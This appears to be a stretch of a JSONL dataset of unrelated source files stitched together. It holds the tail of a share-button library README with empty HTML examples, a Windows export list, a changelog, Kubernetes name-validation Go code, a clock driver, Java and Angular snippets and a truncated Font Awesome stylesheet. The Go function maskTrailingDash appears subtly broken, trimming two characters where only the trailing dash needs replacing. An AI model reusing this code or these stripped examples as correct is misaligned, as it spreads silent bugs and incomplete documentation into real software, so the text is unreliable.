efficiently and effictively. Below are descriptions and an example of each button and how to use it.\n\n### Twitter\n\nThis button allows you to tweet a URL on Twitter. A count is not available for this button due to [Twitter deciding to remove the API endpoint](https://twittercommunity.com/t/a-new-design-for-tweet-and-follow-buttons/52791), for whatever reason.\n\n```html\n\n \n Tweet\n\n```\n\nThere are 3 variables you can add to your Twitter share:\n\n1. `text` - This is the text of your tweet. Makes ure it's properly URL encoded.\n2. `url` - This is the URL you wish to share via Twitter. The URL needs to be properly encoded as well.\n3. `via` - This is who is sharing the tweet (your username)\n\n### Pinterest\n\nThis button allows you to post a pin to Pinterest.\n\n```html\n\n \n Pin it\n\n```\n\nThere are 3 variables you can add to your Pinterest pin:\n\n1. `url` - This is the URL you wish to pin on Pinterest. Make sure it's properly URL encoded.\n2. `media` - This is the URL to an image you wish to pin. Make sure it's properly URL encoded.\n3. `description` - This is a URL encoded description for your pin.\n\n### Facebook\n\nThis button allows you to share on Facebook.\n\n```html\n\n \n Share\n\n```\n\nWhen entering your URL for Facebook, make sure it's properly URL encoded! The number of shares will appear next to the button for the URL you are sharing.\n\n### GitHub\n\nThis button allows you to star a repo on GitHub and shows the current number of stars for the project.\n\n```html\n\n Star\n\n```\n\n### YouTube\n\nThis button allows you to subscribe to a channel on YouTube and shows the current number of subscribers.\n\n```html\n\n Subscribe\n\n```\n\n## Browser support\n\nShr is supported in all modern browsers and IE11.\n\n## Issues\n\nIf you find anything weird with Shr, please let us know using the GitHub issues tracker.\n\n## Author\n\nShr is developed by [@sam_potts](https://twitter.com/sam_potts) / [sampotts.me](http://sampotts.me) with generous help from:\n\n- [@danpastori](https://github.com/danpastori)\n- [@danfoley](https://github.com/danfoley)\n- ...and other [contributors](https://github.com/sampotts/shr/graphs/contributors)\n\n## Donate\n\nShr costs money to run, not my time (I donate that for free) but domains, hosting and more. Any help is appreciated... [Donate to support Shr](https://www.paypal.me/pottsy/20usd)\n\n## Thanks\n\n![Fastly](https://www.fastly.com/sites/all/themes/custom/fastly2016/logo.png)(https://www.fastly.com/)\n\nThanks to [Fastly](https://www.fastly.com/) for providing the CDN services.\n\n## Copyright and License\n\n[The MIT license](license.md).\n"} +{"text": "LIBRARY api-ms-win-core-namedpipe-ansi-l1-1-1\n\nEXPORTS\n\nCallNamedPipeA\nGetNamedPipeClientComputerNameA\nGetNamedPipeHandleStateA\nWaitNamedPipeA\n"} +{"text": "2005-10-27 Pekka Pessi \n\n * Fixed features.\n Added libfeatures.la into .so. Renamed sofia_has_* as sofia_sip_has_*. Using\n features in nua_cli.c\n\n M ./libsofia-sip-ua/Makefile.am +1\n M ./libsofia-sip-ua/features/Makefile.am -2 +2\n M ./libsofia-sip-ua/features/sofia_sip_features.c -14 +14\n M ./libsofia-sip-ua/features/sofia_sip_features.docs -10 +10\n M ./libsofia-sip-ua/features/sofia_sip_features.h.in -10 +10\n M ./libsofia-sip-ua/stun/stun.c -2 +2\n M ./utils/Makefile.am -1 +2\n M ./utils/nua_cli.c -2 +29\n\n * Added \"features\" module.\n\n ./libsofia-sip-ua/nua/sofia_config.c -> ./libsofia-sip-ua/sofia/sofia_sip_features.c\n ./libsofia-sip-ua/nua/sofia_config.h.in -> ./libsofia-sip-ua/sofia/sofia_sip_features.h.in\n ./libsofia-sip-ua/sofia -> ./libsofia-sip-ua/features\n M ./configure.ac -2 +3\n M ./libsofia-sip-ua/Makefile.am -1 +1\n A ./libsofia-sip-ua/features/Doxyfile\n A ./libsofia-sip-ua/features/Makefile.am\n M ./libsofia-sip-ua/features/sofia_sip_features.c -21 +78\n A ./libsofia-sip-ua/features/sofia_sip_features.docs\n M ./libsofia-sip-ua/features/sofia_sip_features.h.in -15 +20\n M ./libsofia-sip-ua/nua/Makefile.am -4 +3\n A ./libsofia-sip-ua/sofia/\n M ./libsofia-sip-ua/stun/stun.c -1 +6\n M ./libsofia-sip-ua/stun/stun.h +2\n\n"} +{"text": "/*\nCopyright 2014 The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage validation\n\nimport (\n\t\"strings\"\n\n\t\"k8s.io/apimachinery/pkg/util/validation\"\n\t\"k8s.io/apimachinery/pkg/util/validation/field\"\n)\n\n// IsNegativeErrorMsg is a error message for value must be greater than or equal to 0.\nconst IsNegativeErrorMsg string = `must be greater than or equal to 0`\n\n// ValidateNameFunc validates that the provided name is valid for a given resource type.\n// Not all resources have the same validation rules for names. Prefix is true\n// if the name will have a value appended to it. If the name is not valid,\n// this returns a list of descriptions of individual characteristics of the\n// value that were not valid. Otherwise this returns an empty list or nil.\ntype ValidateNameFunc func(name string, prefix bool) []string\n\n// NameIsDNSSubdomain is a ValidateNameFunc for names that must be a DNS subdomain.\nfunc NameIsDNSSubdomain(name string, prefix bool) []string {\n\tif prefix {\n\t\tname = maskTrailingDash(name)\n\t}\n\treturn validation.IsDNS1123Subdomain(name)\n}\n\n// NameIsDNSLabel is a ValidateNameFunc for names that must be a DNS 1123 label.\nfunc NameIsDNSLabel(name string, prefix bool) []string {\n\tif prefix {\n\t\tname = maskTrailingDash(name)\n\t}\n\treturn validation.IsDNS1123Label(name)\n}\n\n// NameIsDNS1035Label is a ValidateNameFunc for names that must be a DNS 952 label.\nfunc NameIsDNS1035Label(name string, prefix bool) []string {\n\tif prefix {\n\t\tname = maskTrailingDash(name)\n\t}\n\treturn validation.IsDNS1035Label(name)\n}\n\n// ValidateNamespaceName can be used to check whether the given namespace name is valid.\n// Prefix indicates this name will be used as part of generation, in which case\n// trailing dashes are allowed.\nvar ValidateNamespaceName = NameIsDNSLabel\n\n// ValidateServiceAccountName can be used to check whether the given service account name is valid.\n// Prefix indicates this name will be used as part of generation, in which case\n// trailing dashes are allowed.\nvar ValidateServiceAccountName = NameIsDNSSubdomain\n\n// maskTrailingDash replaces the final character of a string with a subdomain safe\n// value if is a dash.\nfunc maskTrailingDash(name string) string {\n\tif strings.HasSuffix(name, \"-\") {\n\t\treturn name[:len(name)-2] + \"a\"\n\t}\n\treturn name\n}\n\n// ValidateNonnegativeField validates that given value is not negative.\nfunc ValidateNonnegativeField(value int64, fldPath *field.Path) field.ErrorList {\n\tallErrs := field.ErrorList{}\n\tif value < 0 {\n\t\tallErrs = append(allErrs, field.Invalid(fldPath, value, IsNegativeErrorMsg))\n\t}\n\treturn allErrs\n}\n"} +{"text": " \n

You can set default options for executing a query when the cursor is inside a query. To set the options,\n open IDE settings &shortcut:ShowSettings; and navigate to Database | General.\n

\n

\"Customize

\n "} +{"text": "// SPDX-License-Identifier: GPL-2.0+\n/*\n * Amlogic Meson-AXG Clock Controller Driver\n *\n * Copyright (c) 2016 BayLibre, SAS.\n * Author: Neil Armstrong \n *\n * Copyright (c) 2018 Amlogic, inc.\n * Author: Qiufang Dai \n * Author: Yixun Lan \n */\n\n#include \n#include \n#include \n#include \n#include \"clk-regmap.h\"\n#include \"meson-aoclk.h\"\n\nstatic int meson_aoclk_do_reset(struct reset_controller_dev *rcdev,\n\t\t\t unsigned long id)\n{\n\tstruct meson_aoclk_reset_controller *rstc =\n\t\tcontainer_of(rcdev, struct meson_aoclk_reset_controller, reset);\n\n\treturn regmap_write(rstc->regmap, rstc->data->reset_reg,\n\t\t\t BIT(rstc->data->reset[id]));\n}\n\nstatic const struct reset_control_ops meson_aoclk_reset_ops = {\n\t.reset = meson_aoclk_do_reset,\n};\n\nint meson_aoclkc_probe(struct platform_device *pdev)\n{\n\tstruct meson_aoclk_reset_controller *rstc;\n\tstruct meson_aoclk_data *data;\n\tstruct device *dev = &pdev->dev;\n\tstruct regmap *regmap;\n\tint ret, clkid;\n\n\tdata = (struct meson_aoclk_data *) of_device_get_match_data(dev);\n\tif (!data)\n\t\treturn -ENODEV;\n\n\trstc = devm_kzalloc(dev, sizeof(*rstc), GFP_KERNEL);\n\tif (!rstc)\n\t\treturn -ENOMEM;\n\n\tregmap = syscon_node_to_regmap(of_get_parent(dev->of_node));\n\tif (IS_ERR(regmap)) {\n\t\tdev_err(dev, \"failed to get regmap\\n\");\n\t\treturn PTR_ERR(regmap);\n\t}\n\n\t/* Reset Controller */\n\trstc->data = data;\n\trstc->regmap = regmap;\n\trstc->reset.ops = &meson_aoclk_reset_ops;\n\trstc->reset.nr_resets = data->num_reset,\n\trstc->reset.of_node = dev->of_node;\n\tret = devm_reset_controller_register(dev, &rstc->reset);\n\tif (ret) {\n\t\tdev_err(dev, \"failed to register reset controller\\n\");\n\t\treturn ret;\n\t}\n\n\t/*\n\t * Populate regmap and register all clks\n\t */\n\tfor (clkid = 0; clkid < data->num_clks; clkid++) {\n\t\tdata->clks[clkid]->map = regmap;\n\n\t\tret = devm_clk_hw_register(dev, data->hw_data->hws[clkid]);\n\t\tif (ret)\n\t\t\treturn ret;\n\t}\n\n\treturn devm_of_clk_add_hw_provider(dev, of_clk_hw_onecell_get,\n\t\t(void *) data->hw_data);\n}\n"} +{"text": "\n\n\n\n\tIDEDidComputeMac32BitWarning\n\t\n\n\n"} +{"text": "package com.roncoo.education.course.feign.interfaces;\n\nimport com.roncoo.education.course.feign.qo.AdvQO;\nimport com.roncoo.education.course.feign.vo.AdvVO;\nimport com.roncoo.education.util.base.Page;\nimport org.springframework.cloud.openfeign.FeignClient;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\n\n/**\n * 广告信息\n *\n * @author wujing\n */\n@FeignClient(value = \"roncoo-education-course-service\")\npublic interface IFeignAdv {\n\n @RequestMapping(value = \"/feign/course/adv/listForPage\", method = RequestMethod.POST)\n Page listForPage(@RequestBody AdvQO qo);\n\n @RequestMapping(value = \"/feign/course/adv/save\", method = RequestMethod.POST)\n int save(@RequestBody AdvQO qo);\n\n @RequestMapping(value = \"/feign/course/adv/delete/{id}\", method = RequestMethod.DELETE)\n int deleteById(@PathVariable(value = \"id\") Long id);\n\n @RequestMapping(value = \"/feign/course/adv/update\", method = RequestMethod.PUT)\n int updateById(@RequestBody AdvQO qo);\n\n @RequestMapping(value = \"/feign/course/adv/get/{id}\", method = RequestMethod.GET)\n AdvVO getById(@PathVariable(value = \"id\") Long id);\n\n}\n"} +{"text": "import { Component, OnInit } from '@angular/core';\nimport { BottomSheetParams } from '@nativescript-community/ui-material-bottomsheet/angular';\nimport { ItemEventData } from '@nativescript/core/ui/list-view';\n\n@Component({\n selector: 'ns-login-options',\n templateUrl: 'login-options.component.html'\n})\nexport class LoginOptionsComponent implements OnInit {\n options: string[];\n\n constructor(private params: BottomSheetParams) {}\n\n ngOnInit() {\n this.options = this.params.context;\n }\n\n onTap({ index }: ItemEventData) {\n this.params.closeCallback(this.options[index]);\n }\n}\n"} +{"text": "/*!\n * Font Awesome Free 5.8.1 by @fontawesome - https://fontawesome.com\n * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)\n */\n.fa,\n.fas,\n.far,\n.fal,\n.fab {\n -moz-osx-font-smoothing: grayscale;\n -webkit-font-smoothing: antialiased;\n display: inline-block;\n font-style: normal;\n font-variant: normal;\n text-rendering: auto;\n line-height: 1; }\n\n.fa-lg {\n font-size: 1.33333em;\n line-height: 0.75em;\n vertical-align: -.0667em; }\n\n.fa-xs {\n font-size: .75em; }\n\n.fa-sm {\n font-size: .875em; }\n\n.fa-1x {\n font-size: 1em; }\n\n.fa-2x {\n font-size: 2em; }\n\n.fa-3x {\n font-size: 3em; }\n\n.fa-4x {\n font-size: 4em; }\n\n.fa-5x {\n font-size: 5em; }\n\n.fa-6x {\n font-size: 6em; }\n\n.fa-7x {\n font-size: 7em; }\n\n.fa-8x {\n font-size: 8em; }\n\n.fa-9x {\n font-size: 9em; }\n\n.fa-10x {\n font-size: 10em; }\n\n.fa-fw {\n text-align: center;\n width: 1.25em; }\n\n.fa-ul {\n list-style-type: none;\n margin-left: 2.5em;\n padding-left: 0; }\n .fa-ul > li {\n position: relative; }\n\n.fa-li {\n left: -2em;\n position: absolute;\n text-align: center;\n width: 2em;\n line-height: inherit; }\n\n.fa-border {\n border: solid 0.08em #eee;\n border-radius: .1em;\n padding: .2em .25em .15em; }\n\n.fa-pull-left {\n float: left; }\n\n.fa-pull-right {\n float: right; }\n\n.fa.fa-pull-left,\n.fas.fa-pull-left,\n.far.fa-pull-left,\n.fal.fa-pull-left,\n.fab.fa-pull-left {\n margin-right: .3em; }\n\n.fa.fa-pull-right,\n.fas.fa-pull-right,\n.far.fa-pull-right,\n.fal.fa-pull-right,\n.fab.fa-pull-right {\n margin-left: .3em; }\n\n.fa-spin {\n -webkit-animation: fa-spin 2s infinite linear;\n animation: fa-spin 2s infinite linear; }\n\n.fa-pulse {\n -webkit-animation: fa-spin 1s infinite steps(8);\n animation: fa-spin 1s infinite steps(8); }\n\n@-webkit-keyframes fa-spin {\n 0% {\n -webkit-transform: rotate(0deg);\n transform: rotate(0deg); }\n 100% {\n -webkit-transform: rotate(360deg);\n transform: rotate(360deg); } }\n\n@keyframes fa-spin {\n 0% {\n -webkit-transform: rotate(0deg);\n transform: rotate(0deg); }\n 100% {\n -webkit-transform: rotate(360deg);\n transform: rotate(360deg); } }\n\n.fa-rotate-90 {\n -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)\";\n -webkit-transform: rotate(90deg);\n transform: rotate(90deg); }\n\n.fa-rotate-180 {\n -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)\";\n -webkit-transform: rotate(180deg);\n transform: rotate(180deg); }\n\n.fa-rotate-270 {\n -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)\";\n -webkit-transform: rotate(270deg);\n transform: rotate(270deg); }\n\n.fa-flip-horizontal {\n -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)\";\n -webkit-transform: scale(-1, 1);\n transform: scale(-1, 1); }\n\n.fa-flip-vertical {\n -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)\";\n -webkit-transform: scale(1, -1);\n transform: scale(1, -1); }\n\n.fa-flip-both, .fa-flip-horizontal.fa-flip-vertical {\n -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)\";\n -webkit-transform: scale(-1, -1);\n transform: scale(-1, -1); }\n\n:root .fa-rotate-90,\n:root .fa-rotate-180,\n:root .fa-rotate-270,\n:root .fa-flip-horizontal,\n:root .fa-flip-vertical,\n:root .fa-flip-both {\n -webkit-filter: none;\n filter: none; }\n\n.fa-stack {\n display: inline-block;\n height: 2em;\n line-height: 2em;\n position: relative;\n vertical-align: middle;\n width: 2.5em; }\n\n.fa-stack-1x,\n.fa-stack-2x {\n left: 0;\n position: absolute;\n text-align: center;\n width: 100%; }\n\n.fa-stack-1x {\n line-height: inherit; }\n\n.fa-stack-2x {\n font-size: 2em; }\n\n.fa-inverse {\n color: #fff; }\n\n/* Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen\nreaders do not read off random characters that represent icons */\n.fa-500px:before {\n content: \"\\f26e\"; }\n\n.fa-accessible-icon:before {\n content: \"\\f368\"; }\n\n.fa-accusoft:before {\n content: \"\\f369\"; }\n\n.fa-acquisitions-incorporated:before {\n content: \"\\f6af\"; }\n\n.fa-ad:before {\n content: \"\\f641\"; }\n\n.fa-address-book:before {\n content: \"\\f2b9\"; }\n\n.fa-address-card:before {\n content: \"\\f2bb\"; }\n\n.fa-adjust:before {\n content: \"\\f042\"; }\n\n.fa-adn:before {\n content: \"\\f170\"; }\n\n.fa-adobe:before {\n content: \"\\f778\"; }\n\n.fa-adversal:before {\n content: \"\\f36a\"; }\n\n.fa-affiliatetheme:before {\n content: \"\\f36b\"; }\n\n.fa-air-freshener:before {\n content: \"\\f5d0\"; }\n\n.fa-airbnb:before {\n content: \"\\f834\"; }\n\n.fa-algolia:before {\n content: \"\\f36c\"; }\n\n.fa-align-center:before {\n content: \"\\f037\"; }\n\n.fa-align-justify:before {\n content: \"\\f039\"; }\n\n.fa-align-left:before {\n content: \"\\f036\"; }\n\n.fa-align-right:before {\n content: \"\\f038\"; }\n\n.fa-alipay:before {\n content: \"\\f642\"; }\n\n.fa-allergies:before {\n content: \"\\f461\"; }\n\n.fa-amazon:before {\n content: \"\\f270\"; }\n\n.fa-amazon-pay:before {\n content: \"\\f42c\"; }\n\n.fa-ambulance:before {\n content: \"\\f0f9\"; }\n\n.fa-american-sign-language-interpreting:before {\n content: \"\\f2a3\"; }\n\n.fa-amilia:before {\n content: \"\\f36d\"; }\n\n.fa-anchor:before {\n content: \"\\f13d\"; }\n\n.fa-android:before {\n content: \"\\f17b\"; }\n\n.fa-angellist:before {\n content: \"\\f209\"; }\n\n.fa-angle-double-down:before {\n content: \"\\f103\"; }\n\n.fa-angle-double-left:before {\n content: \"\\f100\"; }\n\n.fa-angle-double-right:before {\n content: \"\\f101\"; }\n\n.fa-angle-double-up:before {\n content: \"\\f102\"; }\n\n.fa-angle-down:before {\n content: \"\\f107\"; }\n\n.fa-angle-left:before {\n content: \"\\f104\"; }\n\n.fa-angle-right:before {\n content: \"\\f105\"; }\n\n.fa-angle-up:before {\n content: \"\\f106\"; }\n\n.fa-angry:before {\n content: \"\\f556\"; }\n\n.fa-angrycreative:before {\n content: \"\\f36e\"; }\n\n.fa-angular:before {\n content: \"\\f420\"; }\n\n.fa-ankh:before {\n content: \"\\f644\"; }\n\n.fa-app-store:before {\n content: \"\\f36f\"; }\n\n.fa-app-store-ios:before {\n content: \"\\f370\"; }\n\n.fa-apper:before {\n content: \"\\f371\"; }\n\n.fa-apple:before {\n content: \"\\f179\"; }\n\n.fa-apple-alt:before {\n content: \"\\f5d1\"; }\n\n.fa-apple-pay:before {\n content: \"\\f415\"; }\n\n.fa-archive:before {\n content: \"\\f187\"; }\n\n.fa-archway:before {\n content: \"\\f557\"; }\n\n.fa-arrow-alt-circle-down:before {\n content: \"\\f358\"; }\n\n.fa-arrow-alt-circle-left:before {\n content: \"\\f359\"; }\n\n.fa-arrow-alt-circle-right:before {\n content: \"\\f35a\"; }\n\n.fa-arrow-alt-circle-up:before {\n content: \"\\f35b\"; }\n\n.fa-arrow-circle-down:before {\n content: \"\\f0ab\"; }\n\n.fa-arrow-circle-left:before {\n content: \"\\f0a8\"; }\n\n.fa-arrow-circle-right:before {\n content: \"\\f0a9\"; }\n\n.fa-arrow-circle-up:before {\n content: \"\\f0aa\"; }\n\n.fa-arrow-down:before {\n content: \"\\f063\"; }\n\n.fa-arrow-left:before {\n content: \"\\f060\"; }\n\n.fa-arrow-right:before {\n content: \"\\f061\"; }\n\n.fa-arrow-up:before {\n content: \"\\f062\"; }\n\n.fa-arrows-alt:before {\n content: \"\\f0b2\"; }\n\n.fa-arrows-alt-h:before {\n content: \"\\f337\"; }\n\n.fa-arrows-alt-v:before {\n content: \"\\f338\"; }\n\n.fa-artstation:before {\n content: \"\\f77a\"; }\n\n.fa-assistive-listening-systems:before {\n content: \"\\f2a2\"; }\n\n.fa-asterisk:before {\n content: \"\\f069\"; }\n\n.fa-asymmetrik:before {\n content: \"\\f372\"; }\n\n.fa-at:before {\n content: \"\\f1fa\"; }\n\n.fa-atlas:before {\n content: \"\\f558\"; }\n\n.fa-atlassian:before {\n content: \"\\f77b\"; }\n\n.fa-atom:before {\n content: \"\\f5d2\"; }\n\n.fa-audible:before {\n content: \"\\f373\"; }\n\n.fa-audio-description:before {\n content: \"\\f29e\"; }\n\n.fa-autoprefixer:before {\n content: \"\\f41c\"; }\n\n.fa-avianex:before {\n content: \"\\f374\"; }\n\n.fa-aviato:before {\n content: \"\\f421\"; }\n\n.fa-award:before {\n content: \"\\f559\"; }\n\n.fa-aws:before {\n content: \"\\f375\"; }\n\n.fa-baby:before {\n content: \"\\f77c\"; }\n\n.fa-baby-carriage:before {\n content: \"\\f77d\"; }\n\n.fa-backspace:before {\n content: \"\\f55a\"; }\n\n.fa-backward:before {\n content: \"\\f04a\"; }\n\n.fa-bacon:before {\n content: \"\\f7e5\"; }\n\n.fa-balance-scale:before {\n content: \"\\f24e\"; }\n\n.fa-ban:before {\n content: \"\\f05e\"; }\n\n.fa-band-aid:before {\n content: \"\\f462\"; }\n\n.fa-bandcamp:before {\n content: \"\\f2d5\"; }\n\n.fa-barcode:before {\n content: \"\\f02a\"; }\n\n.fa-bars:before {\n content: \"\\f0c9\"; }\n\n.fa-baseball-ball:before {\n content: \"\\f433\"; }\n\n.fa-basketball-ball:before {\n content: \"\\f434\"; }\n\n.fa-bath:before {\n content: \"\\f2cd\"; }\n\n.fa-battery-empty:before {\n content: \"\\f244\"; }\n\n.fa-battery-full:before {\n content: \"\\f240\"; }\n\n.fa-battery-half:before {\n content: \"\\f242\"; }\n\n.fa-battery-quarter:before {\n content: \"\\f243\"; }\n\n.fa-battery-three-quarters:before {\n content: \"\\f241\"; }\n\n.fa-battle-net:before {\n content: \"\\f835\"; }\n\n.fa-bed:before {\n content: \"\\f236\"; }\n\n.fa-beer:before {\n content: \"\\f0fc\"; }\n\n.fa-behance:before {\n content: \"\\f1b4\"; }\n\n.fa-behance-square:before {\n content: \"\\f1b5\"; }\n\n.fa-bell:before {\n content: \"\\f0f3\"; }\n\n.fa-bell-slash:before {\n content: \"\\f1f6\"; }\n\n.fa-bezier-curve:before {\n content: \"\\f55b\"; }\n\n.fa-bible:before {\n content: \"\\f647\"; }\n\n.fa-bicycle:before {\n content: \"\\f206\"; }\n\n.fa-bimobject:before {\n content: \"\\f378\"; }\n\n.fa-binoculars:before {\n content: \"\\f1e5\"; }\n\n.fa-biohazard:before {\n content: \"\\f780\"; }\n\n.fa-birthday-cake:before {\n content: \"\\f1fd\"; }\n\n.fa-bitbucket:before {\n content: \"\\f171\"; }\n\n.fa-bitcoin:before {\n content: \"\\f379\"; }\n\n.fa-bity:before {\n content: \"\\f37a\"; }\n\n.fa-black-tie:before {\n content: \"\\f27e\"; }\n\n.fa-blackberry:before {\n content: \"\\f37b\"; }\n\n.fa-blender:before {\n content: \"\\f517\"; }\n\n.fa-blender-phone:before {\n content: \"\\f6b6\"; }\n\n.fa-blind:before {\n content: \"\\f29d\"; }\n\n.fa-blog:before {\n content: \"\\f781\"; }\n\n.fa-blogger:before {\n content: \"\\f37c\"; }\n\n.fa-blogger-b:before {\n content: \"\\f37d\"; }\n\n.fa-bluetooth:before {\n content: \"\\f293\"; }\n\n.fa-bluetooth-b:before {\n content: \"\\f294\"; }\n\n.fa-bold:before {\n content: \"\\f032\"; }\n\n.fa-bolt:before {\n content: \"\\f0e7\"; }\n\n.fa-bomb:before {\n content: \"\\f1e2\"; }\n\n.fa-bone:before {\n content: \"\\f5d7\"; }\n\n.fa-bong:before {\n content: \"\\f55c\"; }\n\n.fa-book:before {\n content: \"\\f02d\"; }\n\n.fa-book-dead:before {\n content: \"\\f6b7\"; }\n\n.fa-book-medical:before {\n content: \"\\f7e6\"; }\n\n.fa-book-open:before {\n content: \"\\f518\"; }\n\n.fa-book-reader:before {\n content: \"\\f5da\"; }\n\n.fa-bookmark:before {\n content: \"\\f02e\"; }\n\n.fa-bootstrap:before {\n content: \"\\f836\"; }\n\n.fa-bowling-ball:before {\n content: \"\\f436\"; }\n\n.fa-box:before {\n content: \"\\f466\"; }\n\n.fa-box-open:before {\n content: \"\\f49e\"; }\n\n.fa-boxes:before {\n content: \"\\f468\"; }\n\n.fa-braille:before {\n content: \"\\f2a1\"; }\n\n.fa-brain:before {\n content: \"\\f5dc\"; }\n\n.fa-bread-slice:before {\n content: \"\\f7ec\"; }\n\n.fa-briefcase:before {\n content: \"\\f0b1\"; }\n\n.fa-briefcase-medical:before {\n content: \"\\f469\"; }\n\n.fa-broadcast-tower:before {\n content: \"\\f519\"; }\n\n.fa-broom:before {\n content: \"\\f51a\"; }\n\n.fa-brush:before {\n content: \"\\f55d\"; }\n\n.fa-btc:before {\n content: \"\\f15a\"; }\n\n.fa-buffer:before {\n content: \"\\f837\"; }\n\n.fa-bug:before {\n content: \"\\f188\"; }\n\n.fa-building:before {\n content: \"\\f1ad\"; }\n\n.fa-bullhorn:before {\n content: \"\\f0a1\"; }\n\n.fa-bullseye:before {\n content: \"\\f140\"; }\n\n.fa-burn:before {\n content: \"\\f46a\"; }\n\n.fa-buromobelexperte:before {\n content: \"\\f37f\"; }\n\n.fa-bus:before {\n content: \"\\f207\"; }\n\n.fa-bus-alt:before {\n content: \"\\f55e\"; }\n\n.fa-business-time:before {\n content: \"\\f64a\"; }\n\n.fa-buysellads:before {\n content: \"\\f20d\"; }\n\n.fa-calculator:before {\n content: \"\\f1ec\"; }\n\n.fa-calendar:before {\n content: \"\\f133\"; }\n\n.fa-calendar-alt:before {\n content: \"\\f073\"; }\n\n.fa-calendar-check:before {\n content: \"\\f274\"; }\n\n.fa-calendar-day:before {\n content: \"\\f783\"; }\n\n.fa-calendar-minus:before {\n content: \"\\f272\"; }\n\n.fa-calendar-plus:before {\n content: \"\\f271\"; }\n\n.fa-calendar-times:before {\n content: \"\\f273\"; }\n\n.fa-calendar-week:before {\n content: \"\\f784\"; }\n\n.fa-camera:before {\n content: \"\\f030\"; }\n\n.fa-camera-retro:before {\n content: \"\\f083\"; }\n\n.fa-campground:before {\n content: \"\\f6bb\"; }\n\n.fa-canadian-maple-leaf:before {\n content: \"\\f785\"; }\n\n.fa-candy-cane:before {\n content: \"\\f786\"; }\n\n.fa-cannabis:before {\n content: \"\\f55f\"; }\n\n.fa-capsules:before {\n content: \"\\f46b\"; }\n\n.fa-car:before {\n content: \"\\f1b9\"; }\n\n.fa-car-alt:before {\n content: \"\\f5de\"; }\n\n.fa-car-battery:before {\n content: \"\\f5df\"; }\n\n.fa-car-crash:before {\n content: \"\\f5e1\"; }\n\n.fa-car-side:before {\n content: \"\\f5e4\"; }\n\n.fa-caret-down:before {\n content: \"\\f0d7\"; }\n\n.fa-caret-left:before {\n content: \"\\f0d9\"; }\n\n.fa-caret-right:before {\n content: \"\\f0da\"; }\n\n.fa-caret-square-down:before {\n content: \"\\f150\"; }\n\n.fa-caret-square-left:before {\n content: \"\\f191\"; }\n\n.fa-caret-square-right:before {\n content: \"\\f152\"; }\n\n.fa-caret-square-up:before {\n content: \"\\f151\"; }\n\n.fa-caret-up:before {\n content: \"\\f0d8\"; }\n\n.fa-carrot:before {\n content: \"\\f787\"; }\n\n.fa-cart-arrow-down:before {\n content: \"\\f218\"; }\n\n.fa-cart-plus:before {\n content: \"\\f217\"; }\n\n.fa-cash-register:before {\n content: \"\\f788\"; }\n\n.fa-cat:before {\n content: \"\\f6be\"; }\n\n.fa-cc-amazon-pay:before {\n content: \"\\f42d\"; }\n\n.fa-cc-amex:before {\n content: \"\\f1f3\"; }\n\n.fa-cc-apple-pay:before {\n content: \"\\f416\"; }\n\n.fa-cc-diners-club:before {\n content: \"\\f24c\"; }\n\n.fa-cc-discover:before {\n content: \"\\f1f2\"; }\n\n.fa-cc-jcb:before {\n content: \"\\f24b\"; }\n\n.fa-cc-mastercard:before {\n content: \"\\f1f1\"; }\n\n.fa-cc-paypal:before {\n content: \"\\f1f4\"; }\n\n.fa-cc-stripe:before {\n content: \"\\f1f5\"; }\n\n.fa-cc-visa:before {\n content: \"\\f1f0\"; }\n\n.fa-centercode:before {\n content: \"\\f380\"; }\n\n.fa-centos:before {\n content: \"\\f789\"; }\n\n.fa-certificate:before {\n content: \"\\f0a3\"; }\n\n.fa-chair:before {\n content: \"\\f6c0\"; }\n\n.fa-chalkboard:before {\n content: \"\\f51b\"; }\n\n.fa-chalkboard-teacher:before {\n content: \"\\f51c\"; }\n\n.fa-charging-station:before {\n content: \"\\f5e7\"; }\n\n.fa-chart-area:before {\n content: \"\\f1fe\"; }\n\n.fa-chart-bar:before {\n content: \"\\f080\"; }\n\n.fa-chart-line:before {\n content: \"\\f201\"; }\n\n.fa-chart-pie:before {\n content: \"\\f200\"; }\n\n.fa-check:before {\n content: \"\\f00c\"; }\n\n.fa-check-circle:before {\n content: \"\\f058\"; }\n\n.fa-check-double:before {\n content: \"\\f560\"; }\n\n.fa-check-square:before {\n content: \"\\f14a\"; }\n\n.fa-cheese:before {\n content: \"\\f7ef\"; }\n\n.fa-chess:before {\n content: \"\\f439\"; }\n\n.fa-chess-bishop:before {\n content: \"\\f43a\"; }\n\n.fa-chess-board:before {\n content: \"\\f43c\"; }\n\n.fa-chess-king:before {\n content: \"\\f43f\"; }\n\n.fa-chess-knight:before {\n content: \"\\f441\"; }\n\n.fa-chess-pawn:before {\n content: \"\\f443\"; }\n\n.fa-chess-queen:before {\n content: \"\\f445\"; }\n\n.fa-chess-rook:before {\n content: \"\\f447\"; }\n\n.fa-chevron-circle-down:before {\n content: \"\\f13a\"; }\n\n.fa-chevron-circle-left:before {\n content: \"\\f137\"; }\n\n.fa-chevron-circle-right:before {\n content: \"\\f138\"; }\n\n.fa-chevron-circle-up:before {\n content: \"\\f139\"; }\n\n.fa-chevron-down:before {\n content: \"\\f078\"; }\n\n.fa-chevron-left:before {\n content: \"\\f053\"; }\n\n.fa-chevron-right:before {\n content: \"\\f054\"; }\n\n.fa-chevron-up:before {\n content: \"\\f077\"; }\n\n.fa-child:before {\n content: \"\\f1ae\"; }\n\n.fa-chrome:before {\n content: \"\\f268\"; }\n\n.fa-chromecast:before {\n content: \"\\f838\"; 